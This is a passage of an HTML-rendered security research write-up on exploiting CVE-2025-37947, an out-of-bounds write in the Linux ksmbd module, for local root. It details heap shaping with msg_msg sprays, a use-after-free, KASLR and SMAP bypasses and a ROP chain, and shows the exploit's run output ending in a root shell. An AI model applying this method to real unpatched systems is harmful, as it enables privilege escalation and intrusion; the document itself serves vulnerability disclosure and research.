				   &lt;span class=&quot;n&quot;&gt;flags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;node&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

		&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;kmalloc_slab&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;unlikely&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ZERO_OR_NULL_PTR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)))&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;slab_alloc_node&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;node&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_RET_IP_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;trace_kmalloc_node&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_RET_IP_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;node&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;kasan_kmalloc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

	&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;For anything larger, the Linux kernel gets pages directly using the page allocator:&lt;/p&gt;
&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// https://elixir.bootlin.com/linux/v5.15/source/mm/slub.c#L4407&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#ifdef CONFIG_NUMA
&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;kmalloc_large_node&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;size_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gfp_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;node&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;page&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ptr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;order&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;get_order&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;flags&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__GFP_COMP&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;page&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;alloc_pages_node&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;node&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;order&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;ptr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;page_address&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;mod_lruvec_page_state&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;NR_SLAB_UNRECLAIMABLE_B&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
				      &lt;span class=&quot;n&quot;&gt;PAGE_SIZE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;order&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

	&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;kmalloc_large_node_hook&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ptr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So, since we have to request 16 pages, we are dealing with buddy allocator page shaping, and we aim to overflow memory that follows an order-4 allocation. The question is what we can place there and how to ensure proper positioning.&lt;/p&gt;

&lt;p&gt;A key constraint is that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;memcpy()&lt;/code&gt; happens immediately after the allocation. This rules out spraying after allocation. Therefore, we must create a 16-page contiguous free space in memory in advance, so that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kvzalloc()&lt;/code&gt; places &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stream_buf&lt;/code&gt; in that region. This way, the out-of-bounds write hits a controlled and useful target object.&lt;/p&gt;

&lt;center&gt;&lt;img src=&quot;../../../public/images/ksmbd_3_1.svg&quot; alt=&quot;Page Overflow&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 600px;&quot; /&gt;&lt;/center&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;There are various objects that could be allocated in kernel memory, but most common ones use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kmalloc&lt;/code&gt; caches. So we investigated which could be a good fit, where the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;order&lt;/code&gt; value indicates the page order used for allocating slabs that hold those objects:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;i &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; /sys/kernel/slab/&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;/order&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;sudo cat&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;tr&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'\n'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot; -&amp;gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;done&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;sort&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-rn&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;head 

&lt;/span&gt;3 -&amp;gt; /sys/kernel/slab/UDPv6/order
3 -&amp;gt; /sys/kernel/slab/UDPLITEv6/order
3 -&amp;gt; /sys/kernel/slab/TCPv6/order
3 -&amp;gt; /sys/kernel/slab/TCP/order
3 -&amp;gt; /sys/kernel/slab/task_struct/order
3 -&amp;gt; /sys/kernel/slab/sighand_cache/order
3 -&amp;gt; /sys/kernel/slab/sgpool-64/order
3 -&amp;gt; /sys/kernel/slab/sgpool-128/order
3 -&amp;gt; /sys/kernel/slab/request_queue/order
3 -&amp;gt; /sys/kernel/slab/net_namespace/order
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We see that the page allocator uses order-3 pages at maximum. Based on that, our choice became &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kmalloc-cg-4k&lt;/code&gt; (not shown in output), which we can easily spray. It’s versatile for achieving various exploitation primitives, such as arbitrary read, write, or in some cases, even UAF.&lt;/p&gt;

&lt;p&gt;After experimenting with order-3 page allocations and checking &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/proc/pagetypeinfo&lt;/code&gt;, we confirmed that there are 5 freelists per order, per zone. In our case, zone &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Normal&lt;/code&gt; is used, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GFP_KERNEL&lt;/code&gt; prefers the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Unmovable&lt;/code&gt; migrate type, so we can ignore the others:&lt;/p&gt;

&lt;pre&gt;
$ sudo cat /proc/pagetypeinfo 
Page block order: 9
Pages per block:  512

&lt;b&gt;Free pages count per migrate type at order  0    1   2   3   4   5   6   7   8   9   10&lt;/b&gt;
Node  0, zone     DMA, type    Unmovable    0    0   0   0   0   0   0   0   0   0    0
Node  0, zone     DMA, type      Movable    0    0   0   0   0   0   0   0   0   1    3
Node  0, zone     DMA, type  Reclaimable    0    0   0   0   0   0   0   0   0   0    0
Node  0, zone     DMA, type   HighAtomic    0    0   0   0   0   0   0   0   0   0    0
Node  0, zone     DMA, type      Isolate    0    0   0   0   0   0   0   0   0   0    0
Node  0, zone   DMA32, type    Unmovable    0    0   0   0   0   0   0   1   0   1    0
Node  0, zone   DMA32, type      Movable    2    2   1   1   0   3   3   3   2   3  730
Node  0, zone   DMA32, type  Reclaimable    0    0   0   0   0   0   0   0   0   0    0
Node  0, zone   DMA32, type   HighAtomic    0    0   0   0   0   0   0   0   0   0    0
Node  0, zone   DMA32, type      Isolate    0    0   0   0   0   0   0   0   0   0    0
&lt;span style=&quot;color:red&quot;&gt;Node  0, zone  Normal, type    Unmovable   69   30   7   9   3   1  30  63  37  28   36&lt;/span&gt;
Node  0, zone  Normal, type      Movable   37    7   3   5   5   3   5   2   2   4 1022
Node  0, zone  Normal, type  Reclaimable    3    2   1   2   1   0   0   0   0   1    0
Node  0, zone  Normal, type   HighAtomic    0    0   0   0   0   0   0   0   0   0    0
Node  0, zone  Normal, type      Isolate    0    0   0   0   0   0   0   0   0   0    0

Number of blocks type     Unmovable      Movable  Reclaimable   HighAtomic      Isolate 
Node 0, zone      DMA            1            7            0            0            0 
Node 0, zone    DMA32            2         1526            0            0            0 
Node 0, zone   Normal          182         2362           16            0            0
&lt;/pre&gt;

&lt;p&gt;The output shows 9 free elements for order-3 and 3 for order-4. By calling &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kvmalloc(0x10000, GFP_KERNEL | __GFP_ZERO)&lt;/code&gt;, we can double-check that the number of order-4 elements is decremented. We can compare the state before and after the allocation:&lt;/p&gt;

&lt;pre&gt;
&lt;b&gt;Free pages count per migrate type at order     0    1    2   3  &lt;span style=&quot;color:red&quot;&gt;4&lt;/span&gt;  5  6   7   8   9  10&lt;/b&gt;
Node    0, zone   Normal, type    Unmovable  843  592  178  14  &lt;span style=&quot;color:red&quot;&gt;6&lt;/span&gt;  7  4  47  45  26  32 
Node    0, zone   Normal, type    Unmovable  843  592  178  14  &lt;span style=&quot;color:red&quot;&gt;5&lt;/span&gt;  7  4  47  45  26  32
&lt;/pre&gt;

&lt;p&gt;When the allocator runs out of order-3 and order-4 blocks, it starts splitting higher-order blocks - like order-5 - to satisfy new requests. This splitting is recursive, an order-5 block becomes two order-4 blocks, one of which is then split again if needed.&lt;/p&gt;

&lt;p&gt;In our scenario, once we exhaust all order-3 and order-4 freelist entries, the allocator pulls an order-5 block. One half is split to satisfy a lower-order allocation - our target order-3 object. The other half remains a free order-4 block and can later be used by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kvzalloc&lt;/code&gt; for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stream_buf&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Even though this layout is not guaranteed, after repeating this several times, it gives us a relatively high probability of a scenario where the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stream_buf&lt;/code&gt; allocation lands directly after the order-3 object, allowing us to corrupt its memory through the out-of-bounds write.&lt;/p&gt;

&lt;p&gt;By allocating 1024 messages (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msg_msg&lt;/code&gt;), with a message size of 4096 to fit into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kmalloc-cg-4k&lt;/code&gt;, we obtained the following layout centered around &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stream_buf&lt;/code&gt; at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0xffff8881117b0000&lt;/code&gt;, where the red strip marks the target pages and the blue represents &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msg_msg&lt;/code&gt; objects:&lt;/p&gt;

&lt;center&gt;&lt;img src=&quot;../../../public/images/ksmbd_0x8000000.png&quot; alt=&quot;Page Overflow&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 700px;&quot; /&gt;&lt;/center&gt;

&lt;p&gt;When we zoomed in, we confirmed that it is indeed possible to place &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stream_buf&lt;/code&gt; before one of the messages:&lt;/p&gt;

&lt;center&gt;&lt;img src=&quot;../../../public/images/ksmbd_0x800000.png&quot; alt=&quot;Page Overflow&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 700px;&quot; /&gt;&lt;/center&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/ksmbd_0x80000.png&quot; alt=&quot;Page Overflow&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 700px;&quot; /&gt;&lt;/center&gt;

&lt;p&gt;Note that the probability of overwriting the victim object was significantly improved by receiving messages and creating holes. However, in a minority of cases - less than 10% in our results - the exploit failed.&lt;/p&gt;

&lt;p&gt;This can occur when we overwrite different objects, depending on the state of ksmbd or external processes. Unfortunately, with some probability, this can also result in kernel panic.&lt;/p&gt;

&lt;h2 id=&quot;exploitation-strategy&quot;&gt;Exploitation Strategy&lt;/h2&gt;

&lt;p&gt;After being able to trigger the OOB write, the local escalation becomes almost straightforward. We tried several approaches, such as corrupting the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;next&lt;/code&gt; pointer in a segmented &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msg_msg&lt;/code&gt;, described in detail &lt;a href=&quot;https://www.willsroot.io/2021/08/corctf-2021-fire-of-salvation-writeup.html&quot;&gt;here&lt;/a&gt;. However, using this method there was no easy way to obtain a KASLR leak, and we did not want to rely on side-channel attacks such as &lt;a href=&quot;https://bughunters.google.com/blog/6243730100977664/exploiting-retbleed-in-the-real-world#breaking-kaslr&quot;&gt;Retbleed&lt;/a&gt;. Therefore, we had to revisit our strategy.&lt;/p&gt;

&lt;p&gt;The one from the near-canonical write-up &lt;a href=&quot;https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html&quot;&gt;CVE-2021-22555: Turning \x00\x00 into 10000$&lt;/a&gt; was the best fit. Because we overwrote physical pages instead of Slab objects, we did not have to deal with cross-cache attacks introduced by accounting, and the post-exploitation phase required only a few modifications.&lt;/p&gt;

&lt;p&gt;First, we confirmed the addresses of the allocation via &lt;a href=&quot;https://github.com/doyensec/KSMBD-CVE-2025-37947/blob/main/bpf-tracer.sh&quot;&gt;bpf script&lt;/a&gt;, to ensure that the addresses are properly aligned.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo&lt;/span&gt; ./bpf-tracer.sh
...
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;grep &lt;/span&gt;4048 out-4096.txt  | egrep &lt;span class=&quot;s2&quot;&gt;&quot;.... total&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;sort&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;uniq&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt;
    511 0000 total
    510 1000 total
    511 2000 total
    512 3000 total
    511 4000 total
    511 5000 total
    511 6000 total
    511 7000 total
    513 8000 total
    513 9000 total
    513 a000 total
    513 b000 total
    513 c000 total
    513 d000 total
    513 e000 total
    513 f000 total
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Our choice to create a collision by overwriting two less significant bytes by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\x05\x00&lt;/code&gt; was kind of arbitrary. After that, we just re-implemented all the stages, and we were even able to find similar ROP gadgets for stack pivoting.&lt;/p&gt;

&lt;p&gt;We strongly recommend reading the original article to make all steps clear, as it provides the missing information which we did not want to repeat here.&lt;/p&gt;

&lt;p&gt;With that in place, the exploit flow was the following:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Allocate many &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msg_msg&lt;/code&gt; objects in the kernel.&lt;/li&gt;
  &lt;li&gt;Trigger an OOB write in ksmbd to allocate &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stream_buf&lt;/code&gt;, and overwrite the primary message’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;next&lt;/code&gt; pointer so two primary messages point to the same secondary message.&lt;/li&gt;
  &lt;li&gt;Detect the corrupted pair by tagging every message with its queue index and scanning queues with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msgrcv(MSG_COPY&lt;/code&gt;) to find mismatched tags.&lt;/li&gt;
  &lt;li&gt;Free the real secondary message (from the real queue) to create a use-after-free - the fake queue still holds a stale pointer to the freed buffer.&lt;/li&gt;
  &lt;li&gt;Spray userland objects over the freed slot via UNIX sockets so we can reclaim the freed memory with controlled data by crafting a fake &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msg_msg&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;Abuse &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;m_ts&lt;/code&gt; to leak kernel memory: craft the fake &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msg_msg&lt;/code&gt; so &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;copy_msg&lt;/code&gt; returns more data than intended and read adjacent headers and pointers to leak kernel heap addresses for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mlist.next&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mlist.prev&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;With the help of an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sk_buff&lt;/code&gt; spray, rebuild the fake &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msg_msg&lt;/code&gt; with correct &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mlist.next&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mlist.prev&lt;/code&gt; so it can be unlinked and freed normally.&lt;/li&gt;
  &lt;li&gt;Spray and reclaim that UAF with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;struct pipe_buffer&lt;/code&gt; objects so we can leak &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;anon_pipe_buf_ops&lt;/code&gt; and compute the kernel base to bypass KASLR.&lt;/li&gt;
  &lt;li&gt;Create a fake &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pipe_buf_operations&lt;/code&gt; structure by spraying &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;skbuff&lt;/code&gt; the second time, with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;release&lt;/code&gt; operation pointer that points into crafted gadget sequences.&lt;/li&gt;
  &lt;li&gt;Trigger the release callbacks by closing pipes - this starts the ROP chain with stack pivoting.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;final-exploit&quot;&gt;Final Exploit&lt;/h2&gt;

&lt;p&gt;The final exploit is available &lt;a href=&quot;https://github.com/doyensec/KSMBD-CVE-2025-37947/blob/main/CVE-2025-37947.c&quot;&gt;here&lt;/a&gt;, requiring a several attempts:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;...
[+] STAGE 1: Memory corruption
[*] Spraying primary messages...
[*] Spraying secondary messages...
[*] Creating holes in primary messages...
[*] Triggering out-of-bounds write...
[*] Searching for corrupted primary message...
[-] Error could not corrupt any primary message.
[ ] Attempt: 3

[+] STAGE 1: Memory corruption
[*] Spraying primary messages...
[*] Spraying secondary messages...
[*] Creating holes in primary messages...
[*] Triggering out-of-bounds write...
[*] Searching for corrupted primary message...
[+] fake_idx: 1a00
[+] real_idx: 1a08

[+] STAGE 2: SMAP bypass
[*] Freeing real secondary message...
[*] Spraying fake secondary messages...
[*] Leaking adjacent secondary message...
[+] kheap_addr: ffff8f17c6e88000
[*] Freeing fake secondary messages...
[*] Spraying fake secondary messages...
[*] Leaking primary message...
[+] kheap_addr: ffff8f17d3bb5000

[+] STAGE 3: KASLR bypass
[*] Freeing fake secondary messages...
[*] Spraying fake secondary messages...
[*] Freeing sk_buff data buffer...
[*] Spraying pipe_buffer objects...
[*] Leaking and freeing pipe_buffer object...
[+] anon_pipe_buf_ops: ffffffffa3242700
[+] kbase_addr: ffffffffa2000000
[+] leaked kslide: 21000000

[+] STAGE 4: Kernel code execution
[*] Releasing pipe_buffer objects...
[*] Returned to userland
# id
uid=0(root) gid=0(root) groups=0(root)
# uname -a
Linux target22 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Note that reliability could still be improved, because we did not try to find optimal values for the number of sprayed-and-freed objects used for corruption. We arrived at the values experimentally and obtained satisfactory results.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;We successfully demonstrated the exploitability of the bug in ksmbd on the latest Ubuntu 22.04 LTS using the default configuration and enabling the ksmbd service. A &lt;a href=&quot;https://github.com/doyensec/KSMBD-CVE-2025-37947/&quot;&gt;full exploit&lt;/a&gt; to achieve local root escalation was also developed.&lt;/p&gt;

